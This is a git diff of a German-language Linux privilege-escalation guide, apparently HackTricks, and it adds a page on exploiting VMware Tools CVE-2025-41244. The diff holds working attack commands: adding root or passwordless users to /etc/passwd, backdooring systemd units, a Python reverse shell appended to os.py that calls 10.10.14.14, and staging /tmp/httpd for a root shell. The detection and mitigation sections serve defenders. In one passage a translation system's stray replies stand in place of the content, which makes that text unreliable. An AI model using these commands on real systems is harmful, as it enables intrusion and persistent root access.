sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn du eine davon **schreiben oder verändern** kannst, kannst du **Privilegien eskalieren**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Wenn ein ungewöhnliches Profilskript gefunden wird, sollten Sie es auf **sensible Informationen** prüfen. +Wenn ein ungewöhnliches Profilskript gefunden wird, solltest du es auf **sensible Informationen** prüfen. ### Passwd/Shadow-Dateien -Je nach Betriebssystem können die Dateien `/etc/passwd` und `/etc/shadow` einen anderen Namen haben oder es könnte eine Sicherungskopie vorhanden sein. Daher wird empfohlen, **alle zu finden** und **zu prüfen, ob Sie sie lesen können**, um zu sehen, **ob es Hashes** in den Dateien gibt: +Je nach OS können die `/etc/passwd` und `/etc/shadow` Dateien einen anderen Namen haben oder es kann eine Sicherung vorhanden sein. Daher wird empfohlen, **alle zu finden** und **zu prüfen, ob du sie lesen kannst**, um zu sehen, **ob Hashes in den Dateien enthalten sind**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In einigen Fällen findet man **password hashes** in der Datei `/etc/passwd` (oder in einer entsprechenden Datei). +In einigen Fällen kann man **password hashes** in der Datei `/etc/passwd` (oder in einer entsprechenden Datei) finden. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1260,30 +1292,29 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ich habe die Datei src/linux-hardening/privilege-escalation/README.md noch nicht erhalten. Bitte sende den Inhalt der Datei, dann übersetze ich den relevanten englischen Text ins Deutsche (Markdown/Tags bleiben unverändert) und füge den Benutzer `hacker` samt generiertem Passwort hinzu. +Ich habe die Datei src/linux-hardening/privilege-escalation/README.md nicht erhalten. Bitte füge den Inhalt hier ein. -Welche Anforderungen soll das Passwort haben? (Standardvorschlag: 16 Zeichen, Groß-/Kleinbuchstaben, Ziffern und Sonderzeichen). +Soll ich in die übersetzte README eine Sektion anhängen, die das Anlegen des Users `hacker` zeigt und ein generiertes Passwort einfügt? Wenn ja, welche Anforderungen an das Passwort (Länge, Zeichenarten) sollen gelten und möchtest du das Passwort im Klartext in der Datei sehen oder als Platzhalter? ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -z. B.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Z. B.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Du kannst jetzt den Befehl `su` mit `hacker:hacker` verwenden. +Du kannst jetzt den `su`-Befehl mit `hacker:hacker` verwenden. -Alternativ kannst Du die folgenden Zeilen verwenden, um einen Dummy-User ohne Passwort hinzuzufügen.\ -WARNUNG: Dadurch kann die Sicherheit der Maschine beeinträchtigt werden. +Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-Benutzer ohne Passwort hinzuzufügen.\\ WARNUNG: dadurch könnte die aktuelle Sicherheit der Maschine beeinträchtigt werden. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` in `/etc/pwd.db` und `/etc/master.passwd`, außerdem wurde `/etc/shadow` in `/etc/spwd.db` umbenannt. +HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` unter `/etc/pwd.db` und `/etc/master.passwd`, außerdem wurde `/etc/shadow` in `/etc/spwd.db` umbenannt. -Du solltest prüfen, ob du in einige **sensible Dateien** schreiben kannst. Zum Beispiel, kannst du in eine **Service-Konfigurationsdatei** schreiben? +Du solltest prüfen, ob du **in einigen sensiblen Dateien schreiben** kannst. Zum Beispiel: Kannst du in eine **Service-Konfigurationsdatei** schreiben? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Zum Beispiel, wenn die Maschine einen **tomcat**-Server ausführt und du **die Tomcat service configuration file inside /etc/systemd/,** ändern kannst, dann kannst du die Zeilen ändern: +Zum Beispiel, wenn die Maschine einen **tomcat**-Server ausführt und du die **Tomcat-Service-Konfigurationsdatei in /etc/systemd/,** ändern kannst, dann kannst du die Zeilen wie folgt ändern: ``` ExecStart=/path/to/backdoor User=root @@ -1291,13 +1322,13 @@ Group=root ``` Deine backdoor wird beim nächsten Start von tomcat ausgeführt. -### Ordner prüfen +### Ordner überprüfen -Die folgenden Ordner können Sicherungen oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich kannst du das letzte nicht lesen, aber versuche es.) +Die folgenden Ordner können backups oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich wirst du den letzten nicht lesen können, aber versuche es) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Ungewöhnlicher Speicherort/Owned Dateien +### Ungewöhnlicher Ort/Owned Dateien ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1314,7 +1345,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Geänderte Dateien in den letzten Minuten +### In den letzten Minuten geänderte Dateien ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1346,22 +1377,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Bekannte Dateien, die Passwörter enthalten +### Bekannte Dateien, die passwords enthalten -Lies den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), er durchsucht nach **mehreren möglichen Dateien, die Passwörter enthalten könnten**.\ -**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), eine Open-Source-Anwendung, die dazu dient, viele auf einem lokalen Computer gespeicherte Passwörter für Windows, Linux & Mac wiederherzustellen. +Lies den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), er durchsucht **mehrere mögliche Dateien, die passwords enthalten könnten**.\ +**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), eine Open-Source-Anwendung, mit der viele passwords abgerufen werden können, die auf einem lokalen Computer für Windows, Linux & Mac gespeichert sind. ### Logs -Wenn du Logs lesen kannst, findest du möglicherweise **interessante/vertrauliche Informationen darin**. Je seltsamer der Log ist, desto interessanter wird er sein (wahrscheinlich).\ -Außerdem können einige "**bad**" konfigurierte (backdoored?) **audit logs** es erlauben, **Passwörter zu protokollieren** innerhalb von audit logs, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Wenn du logs lesen kannst, könntest du **interessante/vertrauliche Informationen darin** finden. Je seltsamer der log ist, desto interessanter ist er wahrscheinlich.\ +Außerdem können einige "**bad**" konfigurierte (backdoored?) **audit logs** es erlauben, **passwords in audit logs zu protokollieren**, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Um **Logs zu lesen ist die Gruppe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich. +Um **logs zu lesen**, ist die Gruppe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich. -### Shell-Dateien +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1374,41 +1405,41 @@ Um **Logs zu lesen ist die Gruppe** [**adm**](interesting-groups-linux-pe/index. ``` ### Generic Creds Search/Regex -Du solltest auch nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und außerdem nach IPs und E‑Mails in Logs oder nach Hashes per Regex.\ -Ich werde hier nicht aufzählen, wie man das alles macht, aber wenn du interessiert bist, kannst du dir die letzten Prüfungen anschauen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +Du solltest außerdem nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und auch nach IPs und E‑Mails in Logs oder nach Hashes/regexps.\ +Ich werde hier nicht aufzählen, wie man das alles macht, aber wenn du interessiert bist, kannst du dir die letzten Prüfungen ansehen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) durchführt. ## Schreibbare Dateien ### Python library hijacking -Wenn du weißt, **von wo** ein python script ausgeführt wird und du in diesen Ordner **schreiben kannst** oder **python libraries modifizieren** kannst, kannst du die OS library ändern und backdoor it (wenn du schreiben kannst, wo das python script ausgeführt wird, kopiere und füge die os.py library ein). +Wenn du weißt, von **wo** ein python script ausgeführt wird und du **in diesen Ordner schreiben kannst** oder du **python libraries modifizieren** kannst, kannst du die OS library verändern und ein backdoor einbauen (wenn du in das Verzeichnis schreiben kannst, in dem das python script ausgeführt wird, kopiere und füge die os.py library ein). -Um die Bibliothek zu backdooren, füge einfach am Ende der os.py library die folgende Zeile hinzu (IP und PORT anpassen): +Um **backdoor the library** füge einfach am Ende der os.py library die folgende Zeile ein (ändere IP und PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate-Ausnutzung +### Logrotate exploitation -Eine Schwachstelle in `logrotate` ermöglicht es Benutzern mit **Schreibrechten** auf eine Log-Datei oder deren übergeordnete Verzeichnisse, potenziell erhöhte Privilegien zu erlangen. Das liegt daran, dass `logrotate`, das oft als **root** läuft, so manipuliert werden kann, dass es beliebige Dateien ausführt, insbesondere in Verzeichnissen wie _**/etc/bash_completion.d/**_. Wichtig ist, die Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in jedem Verzeichnis, in dem Logrotation angewendet wird. +Eine Schwachstelle in `logrotate` ermöglicht es Benutzern mit **Schreibrechten** auf eine Logdatei oder deren übergeordnete Verzeichnisse, potenziell erhöhte Privilegien zu erlangen. Das liegt daran, dass `logrotate`, das oft als **root** läuft, so manipuliert werden kann, dass es beliebige Dateien ausführt, insbesondere in Verzeichnissen wie _**/etc/bash_completion.d/**_. Es ist wichtig, die Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in jedem Verzeichnis, in dem Logrotation angewendet wird. > [!TIP] -> Diese Schwachstelle betrifft `logrotate` Version `3.18.0` und ältere +> Diese Schwachstelle betrifft `logrotate` Version `3.18.0` und älter -Detailliertere Informationen über die Schwachstelle finden Sie auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Mehr Details zur Schwachstelle finden Sie auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Sie können diese Schwachstelle mit [**logrotten**](https://github.com/whotwagner/logrotten) ausnutzen. +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** daher sollten Sie, wann immer Sie feststellen, dass Sie Logs ändern können, prüfen, wer diese Logs verwaltet und ob Sie Privilegien eskalieren können, indem Sie die Logs durch Symlinks ersetzen. +Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** daher sollten Sie, wann immer Sie feststellen, dass Sie logs ändern können, prüfen, wer diese logs verwaltet, und ob Sie Privilegien eskalieren können, indem Sie die logs durch symlinks ersetzen. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referenz zur Schwachstelle:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +Referenz zur Schwachstelle: [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Wenn aus irgendeinem Grund ein Benutzer in der Lage ist, ein `ifcf-`-Skript nach _/etc/sysconfig/network-scripts_ zu **schreiben** oder ein bestehendes anzupassen, dann ist Ihr **System ist pwned**. +Wenn ein Benutzer aus welchem Grund auch immer ein `ifcf-`-Skript nach _/etc/sysconfig/network-scripts_ **schreiben** kann **oder** ein bestehendes anpassen kann, dann ist Ihr **System pwned**. -Network scripts, _ifcg-eth0_ zum Beispiel, werden für Netzwerkverbindungen verwendet. Sie sehen genau aus wie .INI-Dateien. Allerdings werden sie auf Linux vom Network Manager (dispatcher.d) \~sourced\~. +Network-Skripte, z. B. _ifcg-eth0_, werden für Netzwerkverbindungen verwendet. Sie sehen exakt wie .INI-Dateien aus. Allerdings werden sie auf Linux von Network Manager (dispatcher.d) \~sourced\~. -In meinem Fall wird das Attribut `NAME=` in diesen Network scripts nicht korrekt behandelt. Wenn Sie **Leerzeichen im Namen haben, versucht das System den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**. +In meinem Fall wird das Attribut `NAME=` in diesen Network-Skripten nicht korrekt behandelt. Wenn Sie **Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1416,15 +1447,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Hinweis: Das Leerzeichen zwischen Network und /bin/id_) +(_Hinweis: das Leerzeichen zwischen Network und /bin/id_) ### **init, init.d, systemd, und rc.d** -Das Verzeichnis `/etc/init.d` beherbergt **scripts** für System V init (SysVinit), das **classic Linux service management system**. Es enthält Skripte zum `start`, `stop`, `restart` und manchmal `reload` von Services. Diese können direkt ausgeführt werden oder über symbolische Links in `/etc/rc?.d/`. Ein alternativer Pfad in Redhat-Systemen ist `/etc/rc.d/init.d`. +Das Verzeichnis `/etc/init.d` beherbergt **Skripte** für System V init (SysVinit), das **klassische Linux-Service-Management-System**. Es enthält Skripte zum `start`, `stop`, `restart` und manchmal `reload` von Diensten. Diese können direkt ausgeführt oder über symbolische Links in `/etc/rc?.d/` aufgerufen werden. Ein alternativer Pfad in Redhat-Systemen ist `/etc/rc.d/init.d`. -Auf der anderen Seite ist `/etc/init` mit **Upstart** verknüpft, einem neueren **service management**, das von Ubuntu eingeführt wurde und Konfigurationsdateien zur Verwaltung von Services nutzt. Trotz der Umstellung auf Upstart werden SysVinit-Skripte weiterhin neben Upstart-Konfigurationen verwendet, da Upstart eine Kompatibilitätsschicht bietet. +Dagegen ist `/etc/init` mit **Upstart** verbunden, einem neueren **Service-Management**, das von Ubuntu eingeführt wurde und Konfigurationsdateien für Service-Verwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte aufgrund einer Kompatibilitätsschicht in Upstart weiterhin neben Upstart-Konfigurationen verwendet. -**systemd** hat sich als moderner Init- und Service-Manager etabliert und bietet erweiterte Funktionen wie bedarfsorientiertes Starten von Daemons, automount-Verwaltung und Systemzustandssnapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Distributionspakete und `/etc/systemd/system/` für Administratoränderungen, was die Systemverwaltung vereinfacht. +**systemd** tritt als moderner Init- und Service-Manager auf und bietet erweiterte Funktionen wie bedarfsbasiertes Starten von Daemons, automount-Management und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Distribution-Pakete und `/etc/systemd/system/` für Administrator-Anpassungen und vereinfacht damit die Systemadministration. ## Weitere Tricks @@ -1451,25 +1482,35 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität an einen userspace manager zu exponieren. Schwache Manager-Authentifizierung (z. B. signature checks basierend auf FD-order oder schlechte Passwortschemata) kann einer lokalen App erlauben, den Manager zu imitieren und auf bereits gerooteten Geräten zu rooten. Mehr Informationen und Exploit-Details hier: +Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität an einen userspace-Manager offenzulegen. Schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-order oder schlechte Passwortschemata) kann einer lokalen App erlauben, den Manager zu imitieren und auf bereits gerooteten Geräten root zu erlangen. Mehr Informationen und Exploit-Details hier: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +Regex-gesteuerte Service-Erkennung in VMware Tools/Aria Operations kann einen Pfad zu einer Binärdatei aus Prozess-Command-Lines extrahieren und diese mit -v in einem privilegierten Kontext ausführen. Zu permissive Patterns (z. B. die Verwendung von \S) können auf vom Angreifer platzierten Listenern in beschreibbaren Verzeichnissen (z. B. /tmp/httpd) matchen und so zur Ausführung als root führen (CWE-426 Untrusted Search Path). + +Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + +## Kernel-Sicherheitsmechanismen - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Mehr Hilfe +## Weitere Hilfe [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Bestes Tool, um Linux lokale privilege escalation vectors zu finden:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1484,6 +1525,10 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## References +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) + + - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) - [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) @@ -1505,4 +1550,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..1811520e7 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +Diese Technik missbraucht regex-gesteuerte Service-Discovery-Pipelines, die laufende Prozess-Commandlines parsen, um Service-Versionen zu ermitteln und anschließend ein Kandidaten-Binary mit einem "version"-Flag auszuführen. Wenn permissive Patterns untrusted, vom Angreifer kontrollierte Pfade akzeptieren (z. B. /tmp/httpd), führt der privilegierte Collector ein beliebiges Binary aus einem untrusted Speicherort aus, was zu Local privilege escalation führt. NVISO dokumentierte dies in VMware Tools/Aria Operations Service Discovery als CVE-2025-41244. + +- Impact: Local privilege escalation to root (or to the privileged discovery account) +- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## How VMware service discovery works (high level) + +- Credential-based (legacy): Aria führt Discovery-Skripte innerhalb des Guests über VMware Tools aus und verwendet konfigurierte privilegierte Zugangsdaten. +- Credential-less (modern): Die Discovery-Logik läuft innerhalb von VMware Tools und ist im Guest bereits privilegiert. + +Beide Modi führen letztlich Shell-Logik aus, die Prozesse mit listening sockets scannt, einen passenden Command-Pfad mittels regex extrahiert und das erste argv-Token mit einem version-Flag ausführt. + +## Root cause and vulnerable pattern (open-vm-tools) + +In open-vm-tools stimmt das serviceDiscovery-Plugin-Skript get-versions.sh Kandidaten-Binaries mit weit gefassten regulären Ausdrücken ab und führt das erste Token ohne jegliche trusted-path-Validierung aus: +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +Es wird mit freizügigen Mustern aufgerufen, die \S (Nicht-Leerzeichen) enthalten und problemlos mit Nicht-Systempfaden in benutzerschreibbaren Verzeichnissen übereinstimmen: +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- Die Extraktion verwendet grep -Eo und nimmt das erste Token: ${COMMAND%%[[:space:]]*} +- Keine whitelist/allowlist von vertrauenswürdigen Systempfaden; jeder entdeckte listener mit einem passenden Namen wird mit -v/--version ausgeführt + +Dies schafft eine untrusted search path execution primitive: beliebige binaries, die in world-writable Verzeichnissen liegen (z. B. /tmp/httpd), werden von einer privilegierten Komponente ausgeführt. + +## Exploitation (both credential-less and credential-based modes) + +Preconditions +- Sie können einen unprivilegierten Prozess ausführen, der auf dem guest einen listening socket öffnet. +- Der discovery job ist aktiviert und läuft periodisch (historisch ~5 Minuten). + +Steps +1) Stage ein binary in einem Pfad, der einem der permissive regexes entspricht, z. B. /tmp/httpd oder ./nginx +2) Führe es als niedrig-privilegierter Benutzer aus und stelle sicher, dass es einen listening socket öffnet +3) Warte auf den discovery cycle; der privilegierte collector wird automatisch ausführen: /tmp/httpd -v (oder ähnlich), wodurch dein Programm als root ausgeführt wird + +Minimal demo (using NVISO’s approach) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +Typische Prozessabfolge +- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +Artefakte (credential-based) +Wiederhergestellte SDMP-Wrapper-Skripte unter /tmp/VMware-SDMP-Scripts-{UUID}/ können die direkte Ausführung des bösartigen Pfads zeigen: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## Generalizing the technique: regex-driven discovery abuse (portable pattern) + +Viele Agents und Monitoring-Suites führen Version-/Service-Erkennung durch, indem sie: +- Prozesse mit hörenden Sockets enumerieren +- argv/command lines mit permissiven regexes durchsuchen (z. B. Muster, die \S enthalten) +- den gefundenen Pfad mit einem harmlosen Flag wie -v, --version, -V, -h ausführen + +Wenn die Regex untrusted paths akzeptiert und der Pfad aus einem privilegierten Kontext ausgeführt wird, erhält man CWE-426 Untrusted Search Path execution. + +Abuse recipe +- Benennen Sie Ihr Binary wie gängige Daemons, die die Regex wahrscheinlich matched: httpd, nginx, mysqld, dataserver +- Platzieren Sie es in einem beschreibbaren Verzeichnis: /tmp/httpd, ./nginx +- Stellen Sie sicher, dass es der Regex entspricht und einen beliebigen Port öffnet, um enumeriert zu werden +- Warten Sie auf den geplanten Collector; Sie erhalten eine automatische privilegierte Invocation von -v + +Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth. + +Reusable privileged I/O relay trick +- Bauen Sie Ihren Helfer so, dass er bei privilegierter Invocation (-v/--version) eine Verbindung zu einem bekannten Rendezvous herstellt (z. B. ein Linux abstract UNIX socket wie @cve) und stdio zu /bin/sh -i bridged. Das vermeidet Artefakte auf der Festplatte und funktioniert in vielen Umgebungen, in denen dasselbe Binary mit einem Flag erneut aufgerufen wird. + +## Detection and DFIR guidance + +Hunting queries +- Ungewöhnliche Kinder von vmtoolsd oder get-versions.sh wie /tmp/httpd, ./nginx, /tmp/mysqld +- Jegliche Ausführung von Nicht-System-Absolute-Pfaden durch discovery scripts (achten Sie auf Leerzeichen in ${COMMAND%%...}-Expansions) +- ps -ef --forest zur Visualisierung von Abstammungsbäumen: vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- Untersuchen Sie /tmp/VMware-SDMP-Scripts-{UUID}/ auf transiente Skripte und stdout/stderr-Artefakte, die die Ausführung von Angreifer-Pfaden zeigen + +Policy/telemetry +- Alarmieren, wenn privilegierte Collector aus Nicht-System-Präfixen ausgeführt werden: ^/(tmp|home|var/tmp|dev/shm)/ +- File-integrity-Monitoring für get-versions.sh und VMware Tools plugins + +## Mitigations + +- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP) +- Disable or restrict credential-less discovery where feasible +- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries +- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names +- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact +- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths + +## Notes for defenders and implementers + +Safer matching and execution pattern +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## Referenzen + +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom Sicherheitshinweis für CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search 